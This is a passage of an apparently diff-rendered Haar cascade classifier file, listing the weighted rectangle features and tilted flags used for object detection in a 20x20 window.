<_> + 15 13 5 4 -1. + <_> + 15 14 5 2 2. + <_> + + <_> + 19 11 1 2 -1. + <_> + 19 12 1 1 2. + <_> + + <_> + 12 8 3 2 -1. + <_> + 13 9 1 2 3. + 1 + <_> + + <_> + 15 15 1 2 -1. + <_> + 15 16 1 1 2. + <_> + + <_> + 14 15 2 3 -1. + <_> + 15 15 1 3 2. + <_> + + <_> + 14 4 4 3 -1. + <_> + 13 5 4 1 3. + 1 + <_> + + <_> + 3 17 1 3 -1. + <_> + 3 18 1 1 3. + <_> + + <_> + 2 18 6 2 -1. + <_> + 2 19 6 1 2. + <_> + + <_> + 2 16 3 3 -1. + <_> + 2 17 3 1 3. + <_> + + <_> + 16 0 4 19 -1. + <_> + 17 0 2 19 2. + <_> + + <_> + 5 16 6 4 -1. + <_> + 7 16 2 4 3. + <_> + + <_> + 5 6 6 6 -1. + <_> + 7 8 2 2 9. + <_> + + <_> + 17 0 2 2 -1. + <_> + 17 0 2 1 2. + 1 + <_> + + <_> + 8 1 12 2 -1. + <_> + 14 1 6 2 2. + <_> + + <_> + 0 0 20 2 -1. + <_> + 0 1 20 1 2. + <_> + + <_> + 18 0 2 2 -1. + <_> + 18 0 1 2 2. + 1 + <_> + + <_> + 17 2 3 3 -1. + <_> + 18 3 1 3 3. + 1 + <_> + + <_> + 3 0 4 3 -1. + <_> + 2 1 4 1 3. + 1 + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 12 0 1 6 -1. + <_> + 12 2 1 2 3. + <_> + + <_> + 6 4 3 4 -1. + <_> + 7 5 1 4 3. + 1 + <_> + + <_> + 9 13 2 2 -1. + <_> + 9 14 2 1 2. + <_> + + <_> + 15 15 2 2 -1. + <_> + 16 15 1 2 2. + <_> + + <_> + 15 12 5 6 -1. + <_> + 15 15 5 3 2. + <_> + + <_> + 3 1 1 3 -1. + <_> + 2 2 1 1 3. + 1 + <_> + + <_> + 15 14 2 2 -1. + <_> + 15 14 1 1 2. + <_> + 16 15 1 1 2. + <_> + + <_> + 15 14 2 2 -1. + <_> + 15 14 1 1 2. + <_> + 16 15 1 1 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 2 2. + 1 + <_> + + <_> + 13 0 6 6 -1. + <_> + 15 0 2 6 3. + <_> + + <_> + 15 3 5 3 -1. + <_> + 14 4 5 1 3. + 1 + <_> + + <_> + 5 15 10 2 -1. + <_> + 10 15 5 2 2. + <_> + + <_> + 9 16 2 1 -1. + <_> + 10 16 1 1 2. + <_> + + <_> + 2 14 4 2 -1. + <_> + 2 14 4 1 2. + 1 + <_> + + <_> + 17 14 3 3 -1. + <_> + 16 15 3 1 3. + 1 + <_> + + <_> + 18 14 1 4 -1. + <_> + 17 15 1 2 2. + 1 + <_> + + <_> + 1 13 5 3 -1. + <_> + 1 14 5 1 3. + <_> + + <_> + 3 12 1 2 -1. + <_> + 3 12 1 1 2. + 1 + <_> + + <_> + 18 4 2 4 -1. + <_> + 18 6 2 2 2. + <_> + + <_> + 18 0 1 2 -1. + <_> + 18 0 1 1 2. + 1 + <_> + + <_> + 1 14 8 2 -1. + <_> + 1 15 8 1 2. + <_> + + <_> + 16 2 4 3 -1. + <_> + 15 3 4 1 3. + 1 + <_> + + <_> + 16 2 2 4 -1. + <_> + 16 4 2 2 2. + <_> + + <_> + 19 5 1 3 -1. + <_> + 19 6 1 1 3. + <_> + + <_> + 11 6 4 6 -1. + <_> + 12 6 2 6 2. + <_> + + <_> + 3 9 6 3 -1. + <_> + 5 9 2 3 3. + <_> + + <_> + 2 8 4 12 -1. + <_> + 2 8 2 6 2. + <_> + 4 14 2 6 2. + <_> + + <_> + 12 5 6 1 -1. + <_> + 12 5 3 1 2. + 1 + <_> + + <_> + 7 9 12 5 -1. + <_> + 13 9 6 5 2. + <_> + + <_> + 13 9 6 3 -1. + <_> + 13 10 6 1 3. + <_> + + <_> + 19 18 1 2 -1. + <_> + 19 19 1 1 2. + <_> + + <_> + 19 17 1 3 -1. + <_> + 19 18 1 1 3. + <_> + + <_> + 15 9 2 4 -1. + <_> + 15 9 1 2 2. + <_> + 16 11 1 2 2. + <_> + + <_> + 16 5 4 3 -1. + <_> + 16 6 4 1 3. + <_> + + <_> + 5 0 3 3 -1. + <_> + 4 1 3 1 3. + 1 + <_> + + <_> + 10 1 6 3 -1. + <_> + 12 1 2 3 3. + <_> + + <_> + 13 9 3 1 -1. + <_> + 14 9 1 1 3. + <_> + + <_> + 0 2 6 4 -1. + <_> + 0 2 3 2 2. + <_> + 3 4 3 2 2. + <_> + + <_> + 0 8 19 4 -1. + <_> + 0 9 19 2 2. + <_> + + <_> + 7 5 3 6 -1. + <_> + 8 7 1 2 9. + <_> + + <_> + 4 4 1 3 -1. + <_> + 3 5 1 1 3. + 1 + <_> + + <_> + 0 2 4 4 -1. + <_> + 0 2 2 2 2. + <_> + 2 4 2 2 2. + <_> + + <_> + 5 0 3 3 -1. + <_> + 6 1 1 1 9. + <_> + + <_> + 19 2 1 3 -1. + <_> + 19 3 1 1 3. + <_> + + <_> + 7 6 5 3 -1. + <_> + 7 7 5 1 3. + <_> + + <_> + 7 5 1 4 -1. + <_> + 6 6 1 2 2. + 1 + <_> + + <_> + 14 10 2 1 -1. + <_> + 15 10 1 1 2. + <_> + + <_> + 6 10 9 2 -1. + <_> + 9 10 3 2 3. + <_> + + <_> + 15 5 2 6 -1. + <_> + 15 5 1 3 2. + <_> + 16 8 1 3 2. + <_> + + <_> + 5 10 2 2 -1. + <_> + 6 10 1 2 2. + <_> + + <_> + 6 10 2 2 -1. + <_> + 6 10 1 1 2. + <_> + 7 11 1 1 2. + <_> + + <_> + 5 9 4 2 -1. + <_> + 6 9 2 2 2. + <_> + + <_> + 12 10 4 4 -1. + <_> + 12 10 4 2 2. + 1 + <_> + + <_> + 0 9 3 10 -1. + <_> + 0 14 3 5 2. + <_> + + <_> + 3 3 15 9 -1. + <_> + 8 6 5 3 9. + <_> + + <_> + 8 1 8 18 -1. + <_> + 8 1 4 9 2. + <_> + 12 10 4 9 2. + <_> + + <_> + 3 6 3 11 -1. + <_> + 4 6 1 11 3. + <_> + + <_> + 11 8 4 3 -1. + <_> + 12 8 2 3 2. + <_> + + <_> + 17 8 2 3 -1. + <_> + 16 9 2 1 3. + 1 + <_> + + <_> + 3 1 6 5 -1. + <_> + 5 1 2 5 3. + <_> + + <_> + 6 18 2 2 -1. + <_> + 6 18 1 1 2. + <_> + 7 19 1 1 2. + <_> + + <_> + 9 18 3 2 -1. + <_> + 10 18 1 2 3. + <_> + + <_> + 15 6 4 9 -1. + <_> + 16 6 2 9 2. + <_> + + <_> + 6 9 6 5 -1. + <_> + 8 9 2 5 3. + <_> + + <_> + 15 4 3 15 -1. + <_> + 16 4 1 15 3. + <_> + + <_> + 14 4 2 16 -1. + <_> + 14 12 2 8 2. + <_> + + <_> + 12 2 4 2 -1. + <_> + 12 3 4 1 2. + <_> + + <_> + 19 5 1 6 -1. + <_> + 19 8 1 3 2. + <_> + + <_> + 5 0 9 6 -1. + <_> + 5 2 9 2 3. + <_> + + <_> + 6 3 3 3 -1. + <_> + 5 4 3 1 3. + 1 + <_> + + <_> + 17 4 3 1 -1. + <_> + 18 5 1 1 3. + 1 + <_> + + <_> + 8 5 9 4 -1. + <_> + 8 6 9 2 2. + <_> + + <_> + 9 7 4 3 -1. + <_> + 8 8 4 1 3. + 1 + <_> + + <_> + 0 18 2 2 -1. + <_> + 0 18 1 1 2. + <_> + 1 19 1 1 2. + <_> + + <_> + 0 9 10 4 -1. + <_> + 0 10 10 2 2. + <_> + + <_> + 17 8 3 3 -1. + <_> + 16 9 3 1 3. + 1 + <_> + + <_> + 14 4 3 16 -1. + <_> + 15 4 1 16 3. + <_> + + <_> + 15 4 4 1 -1. + <_> + 16 5 2 1 2. + 1 + <_> + + <_> + 14 6 4 2 -1. + <_> + 14 6 2 1 2. + <_> + 16 7 2 1 2. + <_> + + <_> + 15 5 5 3 -1. + <_> + 15 6 5 1 3. + <_> + + <_> + 0 0 6 20 -1. + <_> + 2 0 2 20 3. + <_> + + <_> + 1 7 4 9 -1. + <_> + 2 7 2 9 2. + <_> + + <_> + 1 19 4 1 -1. + <_> + 3 19 2 1 2. + <_> + + <_> + 2 0 5 2 -1. + <_> + 2 0 5 1 2. + 1 + <_> + + <_> + 18 16 1 2 -1. + <_> + 18 17 1 1 2. + <_> + + <_> + 7 9 3 1 -1. + <_> + 8 9 1 1 3. + <_> + + <_> + 5 5 1 8 -1. + <_> + 5 7 1 4 2. + <_> + + <_> + 9 9 3 2 -1. + <_> + 10 10 1 2 3. + 1 + <_> + + <_> + 9 5 2 7 -1. + <_> + 10 5 1 7 2. + <_> + + <_> + 0 17 11 3 -1. + <_> + 0 18 11 1 3. + <_> + + <_> + 6 14 5 4 -1. + <_> + 6 15 5 2 2. + <_> + + <_> + 3 18 1 2 -1. + <_> + 3 19 1 1 2. + <_> + + <_> + 2 7 11 2 -1. + <_> + 2 8 11 1 2. + <_> + + <_> + 7 7 3 6 -1. + <_> + 7 9 3 2 3. + <_> + + <_> + 12 0 8 3 -1. + <_> + 14 0 4 3 2. + <_> + + <_> + 2 2 16 1 -1. + <_> + 10 2 8 1 2. + <_> + + <_> + 10 0 6 3 -1. + <_> + 12 0 2 3 3. + <_> + + <_> + 11 8 7 4 -1. + <_> + 11 9 7 2 2. + <_> + + <_> + 8 7 4 3 -1. + <_> + 8 8 4 1 3. + <_> + + <_> + 5 8 11 12 -1. + <_> + 5 12 11 4 3. + <_> + + <_> + 11 7 6 3 -1. + <_> + 13 9 2 3 3. + 1 + <_> + + <_> + 3 2 15 6 -1. + <_> + 3 4 15 2 3. + <_> + + <_> + 3 0 3 9 -1. + <_> + 4 0 1 9 3. + <_> + + <_> + 8 18 2 2 -1. + <_> + 8 18 1 1 2. + <_> + 9 19 1 1 2. + <_> + + <_> + 15 0 4 1 -1. + <_> + 16 0 2 1 2. + <_> + + <_> + 17 0 3 2 -1. + <_> + 17 0 3 1 2. + 1 + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 15 6 3 6 -1. + <_> + 16 7 1 6 3. + 1 + <_> + + <_> + 14 7 5 3 -1. + <_> + 14 8 5 1 3. + <_> + + <_> + 16 11 4 4 -1. + <_> + 17 12 2 4 2. + 1 + <_> + + <_> + 16 10 4 5 -1. + <_> + 17 11 2 5 2. + 1 + <_> + + <_> + 10 4 9 3 -1. + <_> + 13 4 3 3 3. + <_> + + <_> + 5 9 2 4 -1. + <_> + 5 9 1 2 2. + <_> + 6 11 1 2 2. + <_> + + <_> + 18 6 2 8 -1. + <_> + 19 6 1 8 2. + <_> + + <_> + 19 3 1 15 -1. + <_> + 19 8 1 5 3. + <_> + + <_> + 8 9 12 2 -1. + <_> + 14 9 6 2 2. + <_> + + <_> + 18 1 2 10 -1. + <_> + 19 1 1 10 2. + <_> + + <_> + 5 4 3 4 -1. + <_> + 6 5 1 4 3. + 1 + <_> + + <_> + 4 4 4 3 -1. + <_> + 5 5 2 3 2. + 1 + <_> + + <_> + 10 18 4 1 -1. + <_> + 11 18 2 1 2. + <_> + + <_> + 0 4 3 3 -1. + <_> + 0 5 3 1 3. + <_> + + <_> + 8 5 4 1 -1. + <_> + 9 5 2 1 2. + <_> + + <_> + 12 8 8 8 -1. + <_> + 12 10 8 4 2. + <_> + + <_> + 7 7 8 7 -1. + <_> + 11 7 4 7 2. + <_> + + <_> + 11 7 4 4 -1. + <_> + 10 8 4 2 2. + 1 + <_> + + <_> + 5 5 9 3 -1. + <_> + 4 6 9 1 3. + 1 + <_> + + <_> + 6 9 4 3 -1. + <_> + 5 10 4 1 3. + 1 + <_> + + <_> + 12 4 8 6 -1. + <_> + 10 6 8 2 3. + 1 + <_> + + <_> + 9 3 10 5 -1. + <_> + 9 3 5 5 2. + 1 + <_> + + <_> + 15 11 4 2 -1. + <_> + 16 11 2 2 2. + <_> + + <_> + 8 8 8 10 -1. + <_> + 8 8 4 5 2. + <_> + 12 13 4 5 2. + <_> + + <_> + 16 0 4 3 -1. + <_> + 15 1 4 1 3. + 1 + <_> + + <_> + 17 18 1 2 -1. + <_> + 17 19 1 1 2. + <_> + + <_> + 13 18 7 2 -1. + <_> + 13 19 7 1 2. + <_> + + <_> + 5 5 1 4 -1. + <_> + 4 6 1 2 2. + 1 + <_> + + <_> + 2 4 2 4 -1. + <_> + 2 6 2 2 2. + <_> + + <_> + 1 3 4 4 -1. + <_> + 1 3 2 2 2. + <_> + 3 5 2 2 2. + <_> + + <_> + 0 0 7 12 -1. + <_> + 0 6 7 6 2. + <_> + + <_> + 1 0 15 4 -1. + <_> + 1 1 15 2 2. + <_> + + <_> + 14 3 3 14 -1. + <_> + 15 3 1 14 3. + <_> + + <_> + 19 16 1 2 -1. + <_> + 19 16 1 1 2. + 1 + <_> + + <_> + 3 4 4 6 -1. + <_> + 3 7 4 3 2. + <_> + + <_> + 9 5 5 3 -1. + <_> + 9 6 5 1 3. + <_> + + <_> + 17 16 2 1 -1. + <_> + 18 16 1 1 2. + <_> + + <_> + 8 17 12 3 -1. + <_> + 11 17 6 3 2. + <_> + + <_> + 1 12 3 3 -1. + <_> + 1 13 3 1 3. + <_> + + <_> + 7 17 8 2 -1. + <_> + 11 17 4 2 2. + <_> + + <_> + 13 17 4 2 -1. + <_> + 13 18 4 1 2. + <_> + + <_> + 11 17 6 3 -1. + <_> + 13 17 2 3 3. + <_> + + <_> + 6 8 3 4 -1. + <_> + 6 10 3 2 2. + <_> + + <_> + 6 8 3 6 -1. + <_> + 7 10 1 2 9. + <_> + + <_> + 7 4 3 5 -1. + <_> + 8 4 1 5 3. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 12 0 8 1 -1. + <_> + 14 0 4 1 2. + <_> + + <_> + 16 17 2 2 -1. + <_> + 16 17 1 1 2. + <_> + 17 18 1 1 2. + <_> + + <_> + 1 0 4 1 -1. + <_> + 2 1 2 1 2. + 1 + <_> + + <_> + 3 0 5 10 -1. + <_> + 3 5 5 5 2. + <_> + + <_> + 4 2 3 2 -1. + <_> + 4 3 3 1 2. + <_> + + <_> + 8 9 8 2 -1. + <_> + 10 9 4 2 2. + <_> + + <_> + 13 10 2 3 -1. + <_> + 14 10 1 3 2. + <_> + + <_> + 11 6 1 10 -1. + <_> + 11 6 1 5 2. + 1 + <_> + + <_> + 5 15 12 2 -1. + <_> + 11 15 6 2 2. + <_> + + <_> + 6 3 14 2 -1. + <_> + 6 3 14 1 2. + 1 + <_> + + <_> + 15 1 5 10 -1. + <_> + 15 6 5 5 2. + <_> + + <_> + 18 10 2 2 -1. + <_> + 18 10 2 1 2. + 1 + <_> + + <_> + 12 4 8 3 -1. + <_> + 14 6 4 3 2. + 1 + <_> + + <_> + 2 0 16 2 -1. + <_> + 2 0 8 1 2. + <_> + 10 1 8 1 2. + <_> + + <_> + 0 11 4 8 -1. + <_> + 0 13 4 4 2. + <_> + + <_> + 8 16 2 2 -1. + <_> + 8 16 1 1 2. + <_> + 9 17 1 1 2. + <_> + + <_> + 6 0 12 2 -1. + <_> + 6 0 6 1 2. + <_> + 12 1 6 1 2. + <_> + + <_> + 0 8 6 3 -1. + <_> + 2 8 2 3 3. + <_> + + <_> + 2 2 13 2 -1. + <_> + 2 2 13 1 2. + 1 + <_> + + <_> + 0 7 20 13 -1. + <_> + 5 7 10 13 2. + <_> + + <_> + 15 10 4 2 -1. + <_> + 15 10 2 1 2. + <_> + 17 11 2 1 2. + <_> + + <_> + 16 12 2 6 -1. + <_> + 16 15 2 3 2. + <_> + + <_> + 17 11 1 3 -1. + <_> + 16 12 1 1 3. + 1 + <_> + + <_> + 0 0 16 9 -1. + <_> + 0 3 16 3 3. + <_> + + <_> + 0 15 6 4 -1. + <_> + 0 17 6 2 2. + <_> + + <_> + 14 5 3 6 -1. + <_> + 14 7 3 2 3. + <_> + + <_> + 16 8 3 5 -1. + <_> + 17 8 1 5 3. + <_> + + <_> + 7 10 6 8 -1. + <_> + 9 10 2 8 3. + <_> + + <_> + 14 11 5 4 -1. + <_> + 13 12 5 2 2. + 1 + <_> + + <_> + 14 9 4 3 -1. + <_> + 15 9 2 3 2. + <_> + + <_> + 5 9 9 1 -1. + <_> + 8 9 3 1 3. + <_> + + <_> + 16 1 3 6 -1. + <_> + 17 1 1 6 3. + <_> + + <_> + 10 3 10 2 -1. + <_> + 10 3 5 1 2. + <_> + 15 4 5 1 2. + <_> + + <_> + 2 1 18 1 -1. + <_> + 8 1 6 1 3. + <_> + + <_> + 14 3 5 4 -1. + <_> + 13 4 5 2 2. + 1 + <_> + + <_> + 4 0 4 4 -1. + <_> + 5 0 2 4 2. + <_> + + <_> + 12 1 4 5 -1. + <_> + 13 1 2 5 2. + <_> + + <_> + 9 9 7 3 -1. + <_> + 9 10 7 1 3. + <_> + + <_> + 19 3 1 16 -1. + <_> + 19 11 1 8 2. + <_> + + <_> + 4 0 16 3 -1. + <_> + 8 0 8 3 2. + <_> + + <_> + 8 0 12 3 -1. + <_> + 12 0 4 3 3. + <_> + + <_> + 11 0 6 5 -1. + <_> + 13 0 2 5 3. + <_> + + <_> + 12 4 5 8 -1. + <_> + 12 8 5 4 2. + <_> + + <_> + 6 9 2 4 -1. + <_> + 5 10 2 2 2. + 1 + <_> + + <_> + 13 6 2 3 -1. + <_> + 12 7 2 1 3. + 1 + <_> + + <_> + 10 5 3 1 -1. + <_> + 11 5 1 1 3. + <_> + + <_> + 10 6 4 5 -1. + <_> + 11 6 2 5 2. + <_> + + <_> + 15 17 4 2 -1. + <_> + 17 17 2 2 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 2 1 2. + 1 + <_> + + <_> + 15 7 3 6 -1. + <_> + 13 9 3 2 3. + 1 + <_> + + <_> + 3 0 4 3 -1. + <_> + 4 1 2 3 2. + 1 + <_> + + <_> + 0 2 6 3 -1. + <_> + 2 3 2 1 9. + <_> + + <_> + 2 15 3 2 -1. + <_> + 3 16 1 2 3. + 1 + <_> + + <_> + 19 8 1 2 -1. + <_> + 19 9 1 1 2. + <_> + + <_> + 7 8 4 2 -1. + <_> + 8 8 2 2 2. + <_> + + <_> + 4 8 9 2 -1. + <_> + 7 8 3 2 3. + <_> + + <_> + 6 10 11 6 -1. + <_> + 6 13 11 3 2. + <_> + + <_> + 0 8 20 5 -1. + <_> + 5 8 10 5 2. + <_> + + <_> + 8 12 6 3 -1. + <_> + 10 12 2 3 3. + <_> + + <_> + 2 2 14 18 -1. + <_> + 9 2 7 18 2. + <_> + + <_> + 10 3 1 8 -1. + <_> + 8 5 1 4 2. + 1 + <_> + + <_> + 0 14 8 2 -1. + <_> + 2 14 4 2 2. + <_> + + <_> + 6 13 3 3 -1. + <_> + 7 14 1 3 3. + 1 + <_> + + <_> + 3 2 4 3 -1. + <_> + 2 3 4 1 3. + 1 + <_> + + <_> + 5 6 3 1 -1. + <_> + 6 6 1 1 3. + <_> + + <_> + 2 5 9 1 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 6 2 8 3 -1. + <_> + 6 3 8 1 3. + <_> + + <_> + 1 0 16 5 -1. + <_> + 5 0 8 5 2. + <_> + + <_> + 8 3 3 2 -1. + <_> + 9 3 1 2 3. + <_> + + <_> + 0 0 20 1 -1. + <_> + 5 0 10 1 2. + <_> + + <_> + 9 4 3 4 -1. + <_> + 9 5 3 2 2. + <_> + + <_> + 18 4 1 2 -1. + <_> + 18 4 1 1 2. + 1 + <_> + + <_> + 8 0 9 4 -1. + <_> + 11 3 3 4 3. + 1 + <_> + + <_> + 5 12 9 2 -1. + <_> + 8 12 3 2 3. + <_> + + <_> + 3 15 2 2 -1. + <_> + 3 15 1 1 2. + <_> + 4 16 1 1 2. + <_> + + <_> + 3 15 2 2 -1. + <_> + 3 15 1 1 2. + <_> + 4 16 1 1 2. + <_> + + <_> + 8 13 3 4 -1. + <_> + 9 14 1 4 3. + 1 + <_> + + <_> + 8 13 3 4 -1. + <_> + 9 14 1 4 3. + 1 + <_> + + <_> + 14 17 1 3 -1. + <_> + 14 18 1 1 3. + <_> + + <_> + 15 16 1 2 -1. + <_> + 15 17 1 1 2. + <_> + + <_> + 13 18 3 2 -1. + <_> + 13 19 3 1 2. + <_> + + <_> + 13 17 6 2 -1. + <_> + 13 18 6 1 2. + <_> + + <_> + 5 19 2 1 -1. + <_> + 6 19 1 1 2. + <_> + + <_> + 2 9 2 4 -1. + <_> + 2 11 2 2 2. + <_> + + <_> + 5 1 3 3 -1. + <_> + 4 2 3 1 3. + 1 + <_> + + <_> + 3 10 1 2 -1. + <_> + 3 11 1 1 2. + <_> + + <_> + 8 8 3 2 -1. + <_> + 8 9 3 1 2. + <_> + + <_> + 2 5 7 2 -1. + <_> + 2 6 7 1 2. + <_> + + <_> + 0 0 12 3 -1. + <_> + 3 0 6 3 2. + <_> + + <_> + 12 5 5 4 -1. + <_> + 12 5 5 2 2. + 1 + <_> + + <_> + 17 1 3 17 -1. + <_> + 18 1 1 17 3. + <_> + + <_> + 7 12 2 2 -1. + <_> + 7 13 2 1 2. + <_> + + <_> + 19 4 1 8 -1. + <_> + 19 6 1 4 2. + <_> + + <_> + 11 3 6 3 -1. + <_> + 14 3 3 3 2. + <_> + + <_> + 3 0 17 2 -1. + <_> + 3 1 17 1 2. + <_> + + <_> + 15 1 3 4 -1. + <_> + 15 3 3 2 2. + <_> + + <_> + 12 8 2 2 -1. + <_> + 12 8 1 2 2. + 1 + <_> + + <_> + 7 17 4 2 -1. + <_> + 9 17 2 2 2. + <_> + + <_> + 6 1 6 1 -1. + <_> + 8 1 2 1 3. + <_> + + <_> + 13 3 2 10 -1. + <_> + 13 3 1 5 2. + <_> + 14 8 1 5 2. + <_> + + <_> + 18 1 2 4 -1. + <_> + 18 1 1 2 2. + <_> + 19 3 1 2 2. + <_> + + <_> + 15 2 4 8 -1. + <_> + 16 3 2 8 2. + 1 + <_> + + <_> + 17 3 3 14 -1. + <_> + 17 3 3 7 2. + 1 + <_> + + <_> + 8 7 4 3 -1. + <_> + 9 7 2 3 2. + <_> + + <_> + 8 9 4 3 -1. + <_> + 7 10 4 1 3. + 1 + <_> + + <_> + 10 13 3 3 -1. + <_> + 11 14 1 3 3. + 1 + <_> + + <_> + 7 15 7 4 -1. + <_> + 7 16 7 2 2. + <_> + + <_> + 6 0 10 4 -1. + <_> + 6 1 10 2 2. + <_> + + <_> + 15 14 3 1 -1. + <_> + 16 15 1 1 3. + 1 + <_> + + <_> + 4 10 3 2 -1. + <_> + 4 11 3 1 2. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 0 18 1 2 -1. + <_> + 0 19 1 1 2. + <_> + + <_> + 11 12 2 4 -1. + <_> + 11 12 1 2 2. + <_> + 12 14 1 2 2. + <_> + + <_> + 10 8 3 8 -1. + <_> + 11 9 1 8 3. + 1 + <_> + + <_> + 5 9 4 3 -1. + <_> + 6 9 2 3 2. + <_> + + <_> + 11 11 3 2 -1. + <_> + 11 12 3 1 2. + <_> + + <_> + 6 17 14 2 -1. + <_> + 6 17 7 1 2. + <_> + 13 18 7 1 2. + <_> + + <_> + 2 18 8 2 -1. + <_> + 2 18 4 1 2. + <_> + 6 19 4 1 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 14 14 4 2 -1. + <_> + 15 14 2 2 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 19 15 1 3 -1. + <_> + 18 16 1 1 3. + 1 + <_> + + <_> + 16 8 4 6 -1. + <_> + 16 8 2 3 2. + <_> + 18 11 2 3 2. + <_> + + <_> + 6 17 2 2 -1. + <_> + 6 17 1 1 2. + <_> + 7 18 1 1 2. + <_> + + <_> + 3 7 6 3 -1. + <_> + 5 9 2 3 3. + 1 + <_> + + <_> + 3 0 3 18 -1. + <_> + 4 0 1 18 3. + <_> + + <_> + 8 4 10 4 -1. + <_> + 7 5 10 2 2. + 1 + <_> + + <_> + 3 9 4 6 -1. + <_> + 3 9 2 3 2. + <_> + 5 12 2 3 2. + <_> + + <_> + 10 1 8 7 -1. + <_> + 12 3 4 7 2. + 1 + <_> + + <_> + 14 8 3 1 -1. + <_> + 15 9 1 1 3. + 1 + <_> + + <_> + 16 3 3 12 -1. + <_> + 17 7 1 4 9. + <_> + + <_> + 5 12 3 3 -1. + <_> + 6 13 1 3 3. + 1 + <_> + + <_> + 0 1 17 6 -1. + <_> + 0 3 17 2 3. + <_> + + <_> + 0 18 18 2 -1. + <_> + 6 18 6 2 3. + <_> + + <_> + 2 15 3 2 -1. + <_> + 2 15 3 1 2. + 1 + <_> + + <_> + 18 1 2 6 -1. + <_> + 19 1 1 6 2. + <_> + + <_> + 11 7 8 4 -1. + <_> + 11 7 8 2 2. + 1 + <_> + + <_> + 6 10 3 3 -1. + <_> + 7 11 1 1 9. + <_> + + <_> + 5 5 3 8 -1. + <_> + 6 5 1 8 3. + <_> + + <_> + 2 8 10 2 -1. + <_> + 2 8 5 2 2. + 1 + <_> + + <_> + 2 9 6 5 -1. + <_> + 4 9 2 5 3. + <_> + + <_> + 8 7 5 3 -1. + <_> + 7 8 5 1 3. + 1 + <_> + + <_> + 2 8 3 10 -1. + <_> + 3 8 1 10 3. + <_> + + <_> + 4 2 15 9 -1. + <_> + 4 5 15 3 3. + <_> + + <_> + 9 7 9 3 -1. + <_> + 8 8 9 1 3. + 1 + <_> + + <_> + 2 12 4 3 -1. + <_> + 2 13 4 1 3. + <_> + + <_> + 5 12 6 1 -1. + <_> + 5 12 3 1 2. + 1 + <_> + + <_> + 9 9 3 3 -1. + <_> + 10 10 1 1 9. + <_> + + <_> + 1 18 1 2 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 0 18 2 2 -1. + <_> + 0 18 1 1 2. + <_> + 1 19 1 1 2. + <_> + + <_> + 6 6 8 3 -1. + <_> + 8 6 4 3 2. + <_> + + <_> + 9 7 9 6 -1. + <_> + 12 7 3 6 3. + <_> + + <_> + 5 16 1 4 -1. + <_> + 5 17 1 2 2. + <_> + + <_> + 9 9 4 1 -1. + <_> + 10 9 2 1 2. + <_> + + <_> + 14 1 4 4 -1. + <_> + 15 1 2 4 2. + <_> + + <_> + 0 0 6 3 -1. + <_> + 3 0 3 3 2. + <_> + + <_> + 0 0 4 3 -1. + <_> + 2 0 2 3 2. + <_> + + <_> + 0 12 8 2 -1. + <_> + 2 12 4 2 2. + <_> + + <_> + 5 10 2 1 -1. + <_> + 6 10 1 1 2. + <_> + + <_> + 11 6 9 3 -1. + <_> + 10 7 9 1 3. + 1 + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 16 14 3 3 -1. + <_> + 15 15 3 1 3. + 1 + <_> + + <_> + 11 4 1 3 -1. + <_> + 11 5 1 1 3. + <_> + + <_> + 0 6 12 9 -1. + <_> + 0 9 12 3 3. + <_> + + <_> + 1 9 18 10 -1. + <_> + 10 9 9 10 2. + <_> + + <_> + 12 3 5 10 -1. + <_> + 12 8 5 5 2. + <_> + + <_> + 1 6 12 14 -1. + <_> + 1 13 12 7 2. + <_> + + <_> + 13 5 2 1 -1. + <_> + 13 5 1 1 2. + 1 + <_> + + <_> + 0 0 16 3 -1. + <_> + 0 1 16 1 3. + <_> + + <_> + 1 11 2 1 -1. + <_> + 1 11 1 1 2. + 1 + <_> + + <_> + 14 5 6 5 -1. + <_> + 16 5 2 5 3. + <_> + + <_> + 16 8 3 4 -1. + <_> + 16 10 3 2 2. + <_> + + <_> + 18 9 2 4 -1. + <_> + 17 10 2 2 2. + 1 + <_> + + <_> + 18 18 1 2 -1. + <_> + 18 19 1 1 2. + <_> + + <_> + 5 5 2 1 -1. + <_> + 6 5 1 1 2. + <_> + + <_> + 7 2 12 2 -1. + <_> + 7 2 6 1 2. + <_> + 13 3 6 1 2. + <_> + + <_> + 6 0 12 6 -1. + <_> + 9 0 6 6 2. + <_> + + <_> + 4 0 3 3 -1. + <_> + 3 1 3 1 3. + 1 + <_> + + <_> + 12 19 4 1 -1. + <_> + 14 19 2 1 2. + <_> + + <_> + 12 11 1 2 -1. + <_> + 12 12 1 1 2. + <_> + + <_> + 0 0 20 2 -1. + <_> + 5 0 10 2 2. + <_> + + <_> + 13 0 4 2 -1. + <_> + 15 0 2 2 2. + <_> + + <_> + 17 1 3 12 -1. + <_> + 18 5 1 4 9. + <_> + + <_> + 0 0 10 2 -1. + <_> + 5 0 5 2 2. + <_> + + <_> + 4 15 12 2 -1. + <_> + 10 15 6 2 2. + <_> + + <_> + 10 1 3 2 -1. + <_> + 10 2 3 1 2. + <_> + + <_> + 5 2 15 6 -1. + <_> + 10 4 5 2 9. + <_> + + <_> + 7 6 3 5 -1. + <_> + 8 6 1 5 3. + <_> + + <_> + 15 2 3 3 -1. + <_> + 16 3 1 3 3. + 1 + <_> + + <_> + 6 2 9 6 -1. + <_> + 4 4 9 2 3. + 1 + <_> + + <_> + 15 9 2 1 -1. + <_> + 15 9 1 1 2. + 1 + <_> + + <_> + 3 8 4 6 -1. + <_> + 3 8 2 3 2. + <_> + 5 11 2 3 2. + <_> + + <_> + 2 7 16 10 -1. + <_> + 2 12 16 5 2. + 